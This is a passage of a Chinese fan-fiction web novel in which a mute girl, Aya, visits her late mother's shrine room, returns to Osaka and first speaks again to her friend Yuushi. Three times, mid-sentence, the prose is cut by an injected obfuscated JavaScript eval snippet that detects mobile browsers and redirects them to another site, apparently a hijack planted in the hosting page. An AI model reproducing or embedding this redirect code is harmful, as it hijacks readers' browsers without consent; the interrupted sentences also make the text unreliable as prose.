日永千彰笑着从口袋里掏出钱塞给巫女,又托着小彩在神社里逛了一圈,直到小彩说想要自己去玩才把她放了下来。 小彩捏着两枚御守和日永千彰告别。 只有两枚御守总感觉效用不怎么大。 她盯着手里的御守,要是有加强效用的仪式就好了。 只是一份御守的力量总感觉不太保险,人与人之间的缘分可是很脆弱的。 之后请奶奶帮忙去做一下加持吧? 她希望她和侑士谦也永远都是好朋友。 …… 片桐彩在神社里转了一圈,巡视了一下自己的“领地”。 她自小在这里长大,对这里熟悉得不能再熟悉了,也少了几分新鲜感,稍微转了一会儿就对这里失去了兴趣,想要去别处走走。 不知道爸爸有没有从妈妈那里回来。 他总是会在妈妈睡觉的地方哭,不知道他这次有没有哭。 小彩是个体贴他人的好宝宝,她自己不喜欢被人看着哭,将心比心,爸爸肯定也不喜欢,所以她总是不和爸爸一起去。 他到底回来了没有呢? 她想去看妈妈了。 片桐彩抬起手腕看了眼时间,距离爸爸去看妈妈已经过去两个小时了,他应该已经出来了吧? 她想了想,决定直接过去看一看,偷偷地去。 要是爸爸还在妈妈那里哭哭啼啼的话,她就偷偷地回来。 只要不发出声音就没关系了,小彩大王完全就是天才嘛! 小彩喜滋滋地往妈妈睡觉的那个房间跑去,裙摆在她身后旋出一朵漂亮的花。 片桐英利香长眠的房间在后院,听奶奶说,她从小就住在那里。 载着英利香房间的檐廊边,那根最为粗壮的木柱上有着许多小刀刻画的痕迹,一下一下,从下往上攀升。 小彩放轻了脚步,像是怕惊扰到母亲一样。 她提着裙摆,在柱子边站定。 背倚靠在柱子上,柱子硬邦邦的,硌得她的背有一点点痛。 不过小彩并不在意这一点点痛感,她抬头挺胸,背竖得直直的。 她抬起小手在自己的脑袋上压了压,找稳位置后便换了另一边的手压住这里,艰难地转过身来。 她努力地辨认着木柱上稍微有些模糊的刻印痕迹,勉强辨认出一个阿拉伯数字,好像是“6”。 小彩不高兴地噘着嘴,七岁的小彩和六岁的妈妈一样高,不公平。 明明爸爸妈妈都很高,为什么小彩长得这么慢呢? 她拖着沉重的步伐,慢腾腾地凑到妈妈房间的移门边,把耳朵贴在门上听里面的动静。 小彩屏住呼吸听了一会儿,里面安安静静的,没有爸爸的抽泣声,也没有姑姑的絮语。 没有人在妈妈的房间里。 那小彩可就要进去啦! 小彩“吭哧吭哧”地拉开移门,一蹦一跳地走进房间。 房间里的陈设还是和以前别无二致,小几上的花瓶里插着新鲜的百合花。 馥郁的花香在房间里弥漫,小彩深深地嗅了嗅,理理裙摆在妈妈的相片前坐下。 相片里的女人眉目和婉,面上带着温柔大方的笑。 小彩和妈妈的眼睛有一点点像,这是叫小彩特别骄傲的事情。 小彩喜欢妈妈,只是随着她的年龄增长,她慢慢开始不记得她和妈妈之间的事情了。 虽然知道爸爸和姑姑来看妈妈的时候肯定会帮着擦擦相片,但小彩还是在抽屉里找出一片干净柔软的布,在妈妈的相框上擦来擦去。 ‘妈妈,好久不见啦。’ 她一边擦一边在心里絮絮叨叨的,‘虽然在家里也会天天见到妈妈,但总感觉还是在这里和妈妈说话,妈妈才能听见。’ ‘小彩在心里说话妈妈可以听见吗?’ 片桐彩想了想,又道:‘应该可以的吧,妈妈以前可是神社的神主,爸爸说妈妈很厉害的。’ 柔软的布料在玻璃上顺滑流畅地擦拭着,棉布在指腹的揉搓下稍显滞涩,她认真地搓着,直到玻璃被擦得反光才停下来。 ‘我交到两个新朋友啦,一个叫侑士,一个叫谦也,’她絮絮叨叨地念着,‘妈妈在天上有没有看到他们呀?他们和我之前的朋友一点都不一样,都好好哦。’ ‘要是妈妈看到他们的话,记得保佑保佑他们呀。’ ‘噢,对了,还有我的小狗伙伴,它叫骑士,现在正在学握手呢……’ 小彩“说”了好久好久,妈妈也这样安安静静地听了好久。 她说得有些累了,捧着小脸趴在安置着片桐英利香相片的小几上。 ‘妈妈,奶奶说你是去天上做大兔大明神的神官了,你可不可以和兔子神说说,让祂和我说说话呢?’ ‘我想问问看,我还要多久才能说话,可不可以让祂偷偷地告诉我呢?’ 馥郁的花香在她鼻尖萦绕,她轻轻地打了个喷嚏。 小彩揉揉有些发酸的鼻子,揉着揉着,眼睛也不由得跟着酸了起来。 ‘妈妈,我想你了。’ 妈妈是很温柔的妈妈,可是她和妈妈一起经历过的事情渐渐地在她脑子里变得模糊起来。 小彩很害怕自己哪一天会不记得和妈妈度过的那些快乐的时光。 爸爸说记不住是正常的,因为小彩那个时候还小。 如果人长大会忘记小时候的事情,那么小彩宁愿自己不要长大。 只要她不长大,妈妈就不会离开她。 她还是会在记忆里、在梦里陪伴着小彩,就像她从未离去过一样。 小彩的眼泪就像是胶水,死死地黏住她揉眼睛的手,叫她怎么都放不下。 她在心里一遍遍地唤着“妈妈”,英利香却始终端坐在那张相片里。 明知道她不会像过去那样在她哭的时候走过来亲亲她、抱抱她,小彩还是那样伤心地哭着。 她哭得累了,抽抽噎噎地趴在小几上,眼前的景象在眼前变得有些模糊,她疲惫地眨了眨眼,不知不觉睡着了。 一只深山凤蝶飘飘忽忽地从门外飞来,轻轻落在小女孩的发上,安然地趴着不动了。 …… 小彩睡醒的时候,已经是傍晚了。 也不知道是谁把她抱去床上休息的,不过她并未深思,无非就是奶奶、爸爸和姑姑三个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639253|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的一个。 山间的温度总归是比山下要凉上许多,那人还体贴地给她盖了层毯子,防止她着凉。 脸上也清清爽爽的,像是被擦过了。 她推开盖在她身上的毯子,踩着拖鞋跑到房间外面去。 山里的天和城里的天是不一样的。 小彩坐在檐廊下,抬头望着天边的云彩,橙的白的搅合在一起,好像奶奶做的咖喱。 橙色的是胡萝卜,黄澄澄的是马铃薯,稍浅一些的是鱼糜肠,隐约带着些锈色的是牛肉。 那那些白白的软软的云就是米饭了,旁边小小的那几朵是藠头。 小彩原本低沉的情绪稍微好转了些许。 她在梦里也梦到咖喱饭了。 好想吃咖喱饭呀。 奶奶熬的咖喱总是香香的,浓郁的咖喱浇在松软的白米饭上,呼呼地冒着热气。 咖喱的辛香和胡萝卜的甜味中和在一起,咸香浓厚的汤汁浇在白米饭上,绵密的马铃薯包裹着粒粒分明的米饭,一口下去,沙沙的马铃薯在口腔中推开,和着弹牙的米粒在舌尖上跳舞。 这个时候再塞一块炖得软烂入味的牛腩就更棒了。 藠头的话……藠头还是不要了。 虽然她是土生土长的鸟取人,但对于鸟取人吃饭时必不可少的藠头还是有些抗拒。 藠头辣辣的,一口咬下去舌头麻麻的,总感觉不是她在吃藠头,而是藠头在吃她。 好想吃咖喱饭呀。 小彩咂巴咂巴嘴,有点馋了。 咖喱的香味不知从何处飘来,不紧不慢地勾缠着她的鼻腔。 小彩惊恐地捧着脸,是她馋到出现幻觉了吗?竟然闻到咖喱的味道! 她趿拉着拖鞋,顺着那股馋人的味道找去。 果然是从厨房飘来的味道! 她悄悄地在厨房门口往里探头,发现奶奶爸爸和姑姑都在厨房里,各自忙活着什么。 奇怪,怎么今天做了咖喱饭呀? 夏天的时候,家里总是会做些消暑的饭菜,就好比今天,听姑姑说今天有三十摄氏度呢! 她还以为今天会吃冷面,没想到是咖喱饭耶! 小彩若有所思地摸了摸自己乱蓬蓬的头发,突然灵光一闪,她好像明白了! 她扒在门边,紧紧地盯着姑姑看。 ‘姑姑出来……姑姑出来……’ 她盯着片桐沙友理在心里念了几句,沙友理似乎察觉到什么,真的一步步地朝外面走来。 她在探头探脑的小侄女前蹲下身,抬手帮着理了理有些凌乱的衣领:“小彩睡醒了呀?一会儿我们就要吃饭了哦,今天有你最喜欢吃的咖喱。” 小彩点点头,目光依然紧紧地黏在沙友理身上。 沙友理摸了摸口袋,从里面掏出一颗棉花糖,剥去包装塞进她的嘴里:“小彩是饿了吗?先吃颗棉花糖垫垫肚子吧。” 棉花糖软乎乎的,像云朵一样在她口腔里化开,小彩惊讶地睁大了双眼。 侑士,谦也,完蛋……不对……太好啦! 小彩好像觉醒心想事成的能力了! 不管是想吃咖喱饭,还是想要姑姑出来,又或是想要糖果……统统都灵验了。 简直和《小羊警卫队》前两天的剧情一模一样! 她以后是去小羊警卫队当警卫队成员好呢,还是要去魔法学校当小巫师好呢…… 啊,她还对做神社的宫司有一点点兴趣来着。 好纠结哦。 21.第 21 章 片桐彩在神社住了三天就有些待不住了。 虽然在神社里玩得也很开心,但是她有点想被寄养在侑士家的小狗骑士了。 ……好吧,其实她也有一点点想她的朋友们。 她咬着酥松香甜的沙丘曲奇,总感觉曲奇饼也没那么好吃了。 御守已经被奶奶拿去加持过,手信也购买齐全,只是不知道什么时候才会回去。 她一个人默默地坐在檐廊下发呆。 要不要试试看前两天获得的那个“心想事成”的技能呢? 小彩犹豫了一会儿,最终还是在心里默念起“想要回大阪”这样的愿望。 她才将将念了没两遍,片桐纪久就从院外走了进来。 他抱起女儿,抹去女儿嘴角沾到的饼干碎屑:“小彩去收拾收拾自己的东西吧,我们准备回大阪咯。” 小彩惊奇地瞪大双眼,竟然真的有用! 她喜滋滋地回房间收拾自己的行李。 沙丘曲奇要带,梨肉果冻要带,兔子和菓子要带,还有那些神社的大姐姐们送给她玩的玻璃珠,有两颗很像侑士和谦也的眼睛…… 来时轻飘飘的小行李箱,走的时候沉甸甸的。 小彩艰难地拖着行李箱往外走,才拖了没多远就有些气喘吁吁的了。 她为难地盯着自己鼓鼓囊囊的小箱子,不知道要怎么运去车子旁边比较好。 片桐秀子一手提起箱子,又用另一只手把孙女抱在怀里,轻轻松松地往停车场走去。 小彩崇拜地望着奶奶,一双眼睛亮晶晶的。 “妈,您怎么来了,”片桐纪久连忙从片桐秀子手里接过小彩的箱子,“我不是说我一会儿会去把小彩接来吗?” “早点回去吧,这里到大阪也要些时间,”片桐秀子随意回了句,不舍地捏了捏孙女的脸:“小彩回去以后记得给奶奶寄信哦?” 片桐彩连连点头,小手不停地比划道:‘等我能说话了,我就给奶奶打电话。’ “好,奶奶等你的电话。” 片桐秀子和孙女额头相抵,温柔地蹭蹭:“小彩,神明会保佑你的。” ‘妈妈也会保佑我。’ 片桐秀子怔了怔:“对,英利香也会保佑你,保佑你健康,保佑你平安。” ‘也保佑我和我的好朋友们永远都是好朋友。’ 虽然约定好手牵手一起走到生命尽头的友谊大多都会在时间的长河里撒手,但片桐秀子看着满目期待的孙女,始终无法说出让她失望的话。 她还小呢。 片桐秀子和蔼地笑笑,没说会保佑也没说不会:“那小彩要珍惜和他们一起玩的时光哦。” 只要她珍惜,妈妈就会保佑他们永远都是好朋友吗? 小彩剧烈地点着头:‘我会的!’ “好孩子。” 片桐秀子轻轻摸了摸她柔软的发,没再说什么。 …… 片桐沙友理要在神社多住几天再回来,去时是三个人,回来的时候只有小彩和爸爸两个人了。 少了活泼的沙友理,车里的气氛都没那么活跃了。 车在山路上摇摇晃晃,不知道从什么时候起,小彩睡着了。 她依偎在柔软的毯子里,柔柔的,暖暖的,就像在妈妈的怀抱里一样。 她做了一个梦,梦里有妈妈,有奶奶,有爸爸,有姑姑。 她们手牵着手围成一个小圈圈,绕着她在草地上跳舞,她是如众星拱月般站在正中间的小彩大王。 小羊和兔子在草地上蹦蹦跳跳,一个变成两个,两个变成三个、四个…… 小彩拼命地数,却怎么也数不清楚。 太多了,太多了! 原本青碧的旷野一下子变成了白茫茫的雪原,她试探着踩上那一片白茫茫的“雪”,脚下一空,一下子就陷入了蓬松柔软的云朵里。 她在云朵上翻来滚去,“咚”的一声撞到了一个小人。 她迷迷糊糊地睁开一只眼,一颗藏蓝色的脑袋出现在她的视野里。 原来是侑士啊。 她歪着脑袋就又要睡去,一声清脆的狗叫冲进了她的耳朵,手指被温热湿润的什么擦了两下,她猛然睁开眼。 好像不是梦,是真的侑士! 小彩兴奋地冲着朋友伸手,想要牵着他的手,可身子刚探出去一小半就被一股拉力狠狠地拉倒在安全座椅上。 她茫然地倚在座椅上,显然是被摔懵了。 呆呆的。 忍足侑士看着睡得头发乱翘的女孩,浅浅地勾了勾唇角。 他把缠在手掌上的牵引绳松开几圈,探进身子帮她解开安全带。 他冲着好像还没睡醒的女孩伸出手,“来吧,扶着我的手下来。” 片桐彩点点头,抓着小伙伴的手跳下车。 小狗骑士见她下来兴奋极了,不断地绕着她甩尾巴,牵引绳在她身上绕了一圈又一圈,缠得她都不知道该怎么走路比较好了。 她好奇地望向小伙伴:‘侑士怎么在这里?你生病好了吗?爸爸呢?’ “谢谢小彩关心,我的感冒已经完全好了,”忍足侑士平静道:“片桐叔叔看你还在睡,没舍得叫醒你,我刚好带着骑士散步回来,他委托我照看几分钟。” ‘噢,原来是这样,谢谢你照看我啦!’ 小彩抱着小狗骑士摸了一会儿就暂且把它晾在一边:‘侑士,我给你带了手信哦!谦也也有!’ 她有些迫不及待要把这些东西分给两个小伙伴,等不及片桐纪久出来,她就自己跑到大开的后备箱前,艰难地拖拽着她的行李箱。 忍足侑士看着她的细胳膊细腿,难免放心不下,他摁住行李箱的把手,阻止了小伙伴的动作:“小彩要拿这个吗?我来吧。” 不待小彩说些什么,他就随手一提,把行李箱放到地上。 小彩“啪叽啪叽”地拍着手:‘哇!侑士好厉害!’ 她盯着鼓鼓囊囊的行李箱,想到那些手信,没有合适的东西装的话,侑士好像也不是很好拿回家。 她犹豫了一下,慢吞吞地比划道:‘我可以去一趟侑士家里吗?用行李箱把这些运过去会方便一点。’ 虽然话是这么说,但其实也是因为她对侑士家有一点点好奇。 她还没有去过呢,好想去看看。 忍足侑士对此倒是没有任何异议:“当然可以,现在就来吧?我还能顺便给你展示一下骑士的学习进度。” 小彩兴奋地点点头,拖着箱子就往隔壁的院子走。 片桐纪久终于把那一堆从老家带来的东西安置好,准备出来抱熟睡的女儿回家睡觉时,刚从家里出来就看到女儿拖着行李带着狗,和隔壁家的小子往隔壁走。 他无语地盯着看了几秒,这才开口唤她:“小彩,你要去哪里?” 片桐彩这才想起自己还没有和爸爸说一声要去隔壁侑士家的事情。 她远远地对着父亲比划一通:‘我要去隔壁侑士家玩,把手信拿给侑士。’ 片桐纪久无奈地叹了口气,冲着她挥了挥手:“去吧,玩一会儿记得回来吃饭。” 小彩点点头,连头都不带回一下就往隔壁走。 倒是忍足侑士那孩子,还回过头来对他点头致意。 片桐纪久沉沉地叹了口气,心力交瘁地回到家里,取出要送给忍足家的伴手礼。 本来准备明天再拜访的,但小彩今天带着一堆东西去,只好跟着她一道去了。 …… 小彩才不管大人们的事情,她兴高采烈地跟着忍足侑士来到他家里。 她好奇极了,站在玄关朝里面探头探脑,一个高大儒雅的男人从客厅走了出来,吓得她赶紧往侑士身后躲了躲。 忍足瑛士的目光在儿子身后的那颗脑袋上停留了一瞬:“侑士,带朋友回来玩吗?” 忍足侑士点点头:“嗯,爸爸,你不要那么严肃,吓到我的朋友了。” 忍足瑛士下意识摸了摸自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656243|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的脸,“有吗?抱歉,我会注意。” 说着,他的视线又投向儿子身后的小女孩,他走到小彩身边,声音柔和了许多:“我是侑士的爸爸,你叫什么名字?” 小彩刚一看到他的脸,医生雷达就“滴滴滴”地狂响不止。 她轻轻拉了拉小伙伴的衣角,示意他帮忙回一下话。 忍足侑士会意,替她答道:“她叫片桐彩,是隔壁片桐家的孩子,她暂时不能说话,爸爸你不要为难她。” 被儿子连着“训”了两次,忍足瑛士也不恼,反而乐呵呵地看着两个孩子。 他的儿子早慧,常常自己一个人躲在安静的地方读书思考,虽说也不是融入不进群体,但对人多少还是有些疏离。 像是带朋友回家里玩这种事情根本就没有过,除开谦也和翔太,家里基本上就没有出现过他的同龄人。 见到儿子交到朋友,忍足瑛士自然感到高兴——他可不希望自己的儿子变成一个只会读书的小呆子。 这么想着,他也就不再打扰两个孩子的相处。 他往后退了几步,笑眯眯地看着他们:“小彩想要喝点什么?果汁吗?还是牛奶?我记得妈妈买了一些巧克力奶放在家里……” “爸爸,你的论文写完了吗?” 忍足侑士蹙着眉,似乎对于父亲热情的关照有些不适应:“我会好好招待小彩的,你放心好了。” 说着,他又望向小彩:“小彩,去我房间吧?” 片桐彩自然是听好朋友的,她重重地点点头。 大约是觉得这样有点失礼,她偷偷摸摸地看了站在一旁的侑士爸爸几眼。 忍足瑛士习惯了和儿子这样的相处方式,冲着小彩眨了眨眼,他帮着提起小彩拖来的行李箱,自顾自地往楼上走去。 “至少让我帮你们把箱子送上去吧,”他跨着大步,两阶两阶地上楼:“你们好好玩,我不打扰。” 这下忍足侑士也没什么意见了,他牵着小彩进了自己的房间。 忍足瑛士刚放下行李箱,他就听见儿子说了句“谢谢爸爸。” 说完还直勾勾地盯着他看,一双浓绀色的眼睛平静无波,看不出任何情绪。 他见父亲还傻站在那边,又重复了一遍:“谢谢爸爸。” 得,儿子这是在赶他走了。 忍足瑛士不由得有些心酸,脸上却挂着一个和蔼可亲的笑容:“有什么需要直接去找爸爸,妈妈刚才给我打电话说了,要明天才能回来,今天家里就只有爸爸哦。” 忍足侑士点点头:“我知道了。” 忍足瑛士也没有久留,他知道儿子会照顾好自己,也会照顾好他的朋友,象征性地叮嘱了几句就离开了。 他走后,片桐彩这才重重地呼出一口气,整个人都放松下来,毫不客气地坐在了他房间里唯一的一把椅子上。 忍足侑士好笑地看着她:“我爸爸很可怕吗?” ‘当然可怕了!’她拍了拍心口,‘你爸爸是医生吗?我的医生雷达一直在响哦!’ “医生雷达……咳嗯,”他下意识想笑,抬手掩住上扬的唇角,顺势清了清嗓子:“他是医生没错哦,小彩好厉害,医生雷达好灵敏。” ‘那当然啦!小彩大人最厉害了!’ 片桐彩得意得鼻子都要翘到天上去,她似乎是想到了什么,冲着好朋友招招手,示意他附耳过来。 忍足侑士不明所以,却还是听话地凑近了些。 她像是要和他说什么,温热的吐息冲在他的耳廓上,他捏着手心静静地等待着,却始终没能听到一个字。 小彩为难地蹙着眉。 她下意识做出的动作叫她有些进退两难。 她想要告诉侑士她有“心想事成”这个能力的秘密,一时间却没意识到自己还没办法说话,做出了让他侧耳倾听的动作。 该怎么办呢…… 侑士看起来有些期待。 她艰难地张了张口,带出些许温热的气流。 22.第 22 章 片桐彩艰难地张了张口,带出了些许温热的气流。 像是有什么重物压在她的喉咙上一样,沉重的感觉一路蔓延到心口。 被重压抑制的气流在她的胸腔里澎湃,不断击打着她密闭如闸的喉口。 她无意识把手搭上了自己的喉咙,翕动着唇:“Yuushi。” 没有声音。 为什么会没有声音呢? 她焦躁地抠着指下的皮肤,那股莫名而来的气流在她的胸腔里盘旋,叫她吐不出,也咽不下。 小彩努力想要抓住那种奇怪的感觉,把它排挤出去,可不论她怎么努力都无济于事。 好空。 好难受。 她渐渐看不清眼前的景象,难过地宛如一条脱了水的、奄奄一息的鱼。 她艰难地呼吸着,好像除了这灼人的呼吸以外,什么都感觉不到了。 “小彩,不要伤害自己,”熟悉的声音在她耳边响起,她的手被紧紧地捏住:“你是不是有哪里不舒服?我去叫爸爸来给你看一看。” 小彩下意识抓住发声的人,她攥着他的衣角,仰起脸望向他。 对方的脸在她的眼里模模糊糊的,各种色彩斑驳地叠在一起,叫人看不清他的神色。 是侑士啊,是她的好朋友。 她又想起那天没能给他带回来的糖。 一股难言的酸涩在她胸腔里横冲直撞,酸意一路攀升进她的鼻腔。 她吸了吸鼻子,那股酸意莫名其妙又跑进了她的眼睛。 她好难受。 忍足侑士见她这个样子,心中更加焦急,他轻柔地拨了拨小彩抓着他衣角的手指,柔声哄道:“小彩,我去叫爸爸来给你检查一下吧?” 他要走。 他也不想和她一起玩了吗? 巨大的委屈淹没了小彩小小的心脏,她抓着他衣角的手攥得更紧了。 她的眼泪再也控制不住,一股脑地涌出来。 她抽抽噎噎地哭着,哭得很伤心。 “你……你为什么不抱抱我、哄哄我,”她委屈地仰着脸,“我好难受,你哄哄我呀,哄哄我我就好了。” 大约是许久没有说过话的缘故,小彩的声音轻飘飘的,有些沙哑。 她哭得越来越厉害了,眼泪落在她的裙摆上,洇开了一朵不小的水花。 她说得那么理直气壮,好像让她哭得这么伤心,完全就是他的错一样。 为什么还不理她? 小彩泪眼朦胧地望着呆站在原地不动的小伙伴。 她伸出手想要把阻碍她视线的眼泪统统抹去擦干,可她擦完一波又来一波,怎么都擦不干净。 她好难过。 她再也不要和侑士好了。 小彩松开了手里紧攥着的那片衣角,扶着椅背跳到地上,一边抹着眼泪一边往外走。 只是她还没有迈出去两步,就被忍足侑士拥住了。 他抱着她,在心里默数了三十个数,对方的气息与心跳渐渐地随着他的气息与心跳平静下来。 “抱歉,我只是有点惊讶,”他温柔地顺了顺她脑后的头发:“小彩,你说话了。” 片桐彩靠在好朋友的怀里,抽抽噎噎的,大脑一片空白。 她根本就没有注意到小伙伴说了什么,傻愣愣地打了个寒噤。 忍足侑士牵着她在他的床边坐下,给她裹上一层毯子,又随手抽了几张湿巾给哭成小花脸的小彩擦擦。 小彩乖巧地仰着脸任由他擦。 她的手悄悄从毯子的缝隙里探出来,揪住了他的一小片衣摆。 “好了,”他把垃圾丢进垃圾桶,在她身边坐下:“小彩现在好受一点了吗?” 片桐彩赧然地点点头。 她心里还是有点委屈,可她也知道,她刚才是有点无理取闹了。 她感觉到自己很难受,却不能精准地表达出来,因而迁怒了无辜的侑士。 这是她不对。 她下意识想要打手语和他道歉,可她的手才刚刚抬起来,就被忍足侑士按住,牢牢地固定在掌下。 “小彩是想要和我说什么吗?” 他沉静温和的目光投向她,眼中带了些鼓励:“小彩会说话,要说出来才可以。” 说出来? 片桐彩不知所措地看着他,被他按在掌下的手指像小虫一般扭来扭去。 她这才注意到刚才她说话了。 她真的说话了吗? 小彩有点怀疑。 她皱着脸,努力回忆着自己刚才的所作所为。 好像是真的。 她犹豫地张了张口,尝试着发出一个音节:“あ(a)……” 略带沙哑的声音在房间里响起,小彩回味了一下,有些陌生。 她好久好久没有说过话了,都已经不太记得她的声音是什么样子的了。 这是她的声音吗? 小彩尝试着又念了几个音节,直到把所有的假名都念了一遍,她才确认了这真的是自己发出的声音。 她能说话了! 小彩兴高采烈地望向自己的小伙伴。 她似乎想要说些什么,可不知为何,还未开口就又打退堂鼓。 忍足侑士也没有开口催她,她踌躇半晌,终于说出了今天的第二句话:“侑士,对不起。” 再多的她就不肯说了,嘴巴严严实实地闭着。 小彩是个相当好懂的小孩,她所有的情绪都写在脸上,叫人一看就知道她在想什么。 她突然不肯说话了,总感觉是还有什么顾虑。 忍足侑士在心里默默叹了口气,面上却没有显露出分毫:“没关系,我知道小彩不是故意的。” 他有心想要引着她多说几句,便把话题转向了别处:“小彩回老家玩得开心吗?” 提到这个,小彩很是兴奋。 她有一大箩筐的东西想要和自己的朋友分享,可她一想到自己久久不能说话的原因,就又沮丧起来。 片桐彩以前是个小话痨。 她总是叽叽喳喳的,充满活力,哪怕是在路边见到一朵漂亮的小野花都要和家人朋友分享。 可离了鸟取以后,就没有人愿意听她说话了。 爸爸为了她能够过上更好的生活、获得更好的教育资源,带着她到东京打拼。 她确实也过上了更好的生活,很多她没有见识过、体验过的东西都在大都会见识、体验了。 可她还是喜欢鸟取。 大都会带给她的难过多于快乐,她从未想过在家乡还算是受欢迎的她,到了大都会会变得那么令人嫌弃。 鸟取是小地方,是他们眼中乡下中的乡下。 爸爸送她进了最贵最好的学校,可没有人愿意和她一起玩。 她说因州弁,在遍说标准语的孩子们之间很是突出。 他们攻击她的头发,也攻击她的口音,嘲讽她是个从乡下来的土包子。 她原本也是有几个朋友的,也曾替她说过一些话,可和她一起被欺负了几次以后,他们就再也没有和她说过话了。 她慢慢地组织不了语言,开始说短句,再后来连短句都说不出,也发不出声音了。 口音大概是个很不好的东西,她想。 虽然爸爸说过,爱欺负人的人是因为他们本身就爱欺负人,是因为他们本来就坏,但她还是无法从那些杂乱的思绪中脱身。 她身陷于痛苦的漩涡,在不断搅动的水涡里随波逐流,她习惯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665974|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的频率,慢慢地感受不到那种诡异的心绪。 可现在那种熟悉的情绪再次出现了。 她无意识地抠弄着手里的衣料,脑子里乱糟糟的。 大阪也是大都会。 大都会等于不友好。 这样的等式深深地刻印在她的心里,无论如何都消解不了。 她抑制不住地感到害怕,她害怕要是她开始说话,又会重蹈覆辙。 真奇怪。 明明一开始想要说话的是她自己,现在恐惧说话的也是她自己。 可那是侑士呀。 是帮助她很多、哪怕出去比赛也会花九个二十分钟,帮她带难得的小羊发夹的侑士呀。 他是她最要好的朋友之一,也是她见过最好、最友善的小孩之一。 要不试试看吧? 试着和他说说话。 要是他因为她的口音不和她玩,那她也不要和他一起玩了。 小彩鼓起勇气,大声说:“我在老家玩得很开心,奶奶给我做了好多好吃的,巫女姐姐们都很喜欢我,还给了我好多小礼物……” 虽然她的声音很大,但她的视线却黏在地上,看都不敢看一旁的朋友一眼,像一只紧张的、虚张声势的小熊猫。 “我……我找奶奶帮忙加持了一下御守,就在箱子里面,”她抿着唇,跳下床找自己的行李箱:“我去拿给你。” 小彩目不斜视地走到行李箱前。 她艰难地打开箱子,从里面掏出一大堆乱七八糟的小东西,怀里抱得满满当当的,一时间不知道该放在哪里比较好。 忍足侑士非常有眼色地把小几拖到她身边,“放在这上面好了。” 小彩偷偷地瞥了他一眼又一眼,用余光小心翼翼地偷窥着小伙伴的脸色,见他脸上毫无异色,悬着的心这才放下了一小半。 是没有注意到她的口音问题吗? 她不确定地想着。 刚才说过的话早就被她忘去了九霄云外,她根本想不起来自己说了什么,也无从确认自己当时有意控制过的口音重不重。 “这些是给我的吗?” 忍足侑士的声音吸引了片桐彩的注意,她又忘记了自己刚才在想些什么,高高兴兴地凑过去看了一眼。 “是的呀,上面写了你的名字的就是给你的,”她在那一大堆东西里翻了翻,掏出一个包装精致的小盒子塞给他:“这个,这个里面有保佑平安的御守哦,我请奶奶帮忙加持过了。” “原来如此,谢谢小彩,也谢谢小彩的奶奶。” 忍足侑士打开那只小盒子,一枚可爱的兔形御守映入眼帘。 他捏着御守想了想,挂到了他的网球包上。 小彩慢慢地放开了不少,叽叽喳喳地给他介绍着自己带来的手信,遇到好吃的还会详细描述一下它的味道。 忍足侑士的视线跟着她手指的方向不断地移动着,神情专注,时不时还点点头,以示自己的肯定。 两个小孩凑在一起叽叽咕咕地聊了好一会儿——主要是小彩在说,侑士在听,直到小彩说得有些口干,房间里这才安静下来。 片桐彩意犹未尽地舔了舔唇,侑士在分给自己的那堆手信里挑出一瓶梨汁,插上吸管凑到朋友面前。 小彩下意识吸了一口,干涩的喉咙瞬间舒服多了。 “小彩说话的腔调很可爱,以后也多说说话吧。” 她惊讶地抬起眼,忍足侑士眯着眼笑笑,抬手指向了隔壁的某个位置。 小彩顺着他手指的方向望去,一对纸杯电话映入眼帘,正对着他们的那一面还用彩笔勾勒了圆圆的“侑士”两个字。 “那是小彩给我们做的吧?”他说,“我想用那个和小彩每天都说说话。” 23.第 23 章 “所以小彩的第一句话是和侑士说的?” 忍足谦也气哼哼地鼓起腮帮子:“不公平!” 忍足侑士瞥了眼堂弟,漫不经心地翻看手里的书:“谁让你前天和翔太跑去六甲山玩了,运气不好也是没有办法的事情。” 忍足谦也一口气憋在胸口,实在找不出什么合适的话来反驳,他双手环着胸,一屁股坐在沙发上。 “可恶……我还以为小彩要今天才回来呢,”他委屈极了,“小彩今天怎么不在家?我还给她带了阿卢斯节集会上最好吃的奶酪呢。” 忍足侑士瞄了眼墙上的挂钟:“片桐叔叔带她去看医生,她应该一会儿就回来了。” “好吧,那我在你家等她。” 忍足谦也打开自己带来的背包看了一眼,确认里面的东西都完好无损这才放下心来。 他盯着墙上的时钟枯坐一会儿,突然出声,吓了忍足侑士一跳:“不对啊,你怎么对小彩的行程这么清楚?” 他的目光不断地在堂哥的身上扫来扫去,俨然一副怀疑至深的模样。 忍足侑士才懒得管他怎么想,书页在他的翻动下“沙沙”作响。 他最近心情很好,不想和笨蛋堂弟计较,但也不想让他太高兴——谁让他上次趁他不在和小彩玩得那么好? 他一边看书,一边从容道:“小彩自己和我说的,怎么,我和小彩关系好,你嫉妒?” 